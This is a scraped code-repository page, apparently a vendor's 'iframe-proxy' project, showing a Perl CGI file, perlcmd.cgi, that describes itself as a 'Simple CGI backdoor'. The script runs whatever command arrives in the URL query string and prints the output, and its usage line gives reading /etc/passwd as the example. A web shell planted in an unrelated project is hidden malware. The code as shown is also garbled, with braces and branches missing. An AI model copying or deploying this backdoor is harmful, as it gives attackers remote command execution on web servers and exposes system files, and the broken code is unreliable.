iframe-proxy | Sunbelt Computer Software

executable file

34 lines (24 loc) · 585 Bytes

#!/usr/bin/perl -w
use strict;
print "Cache-Control: no-cache\n";
print "Content-type: text/html\n\n";
my $req = $ENV{QUERY_STRING};
	chomp ($req);
	$req =~ s/%20/ /g; 
	$req =~ s/%3b/;/g;
print "<html><body>";
print '<!-- Simple CGI backdoor by DK (http://michaeldaw.org) -->';
	if (!$req) {
		print "Usage: http://target.com/perlcmd.cgi?cat /etc/passwd";
		print "Executing: $req";
	print "<pre>";
	my @cmd = `$req`;
	print "</pre>";
	foreach my $line (@cmd) {
		print $line . "<br/>";
print "</body></html>";
# <!--    http://michaeldaw.org   2006    -->

Sunbelt Computer Software

PL/B Language Development and Support

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

Uh oh!

Sunbelt Computer Software

PL/B Language Development and Support

Uh oh!

FilesExpand file tree

perlcmd.cgi

Latest commit

History

perlcmd.cgi

File metadata and controls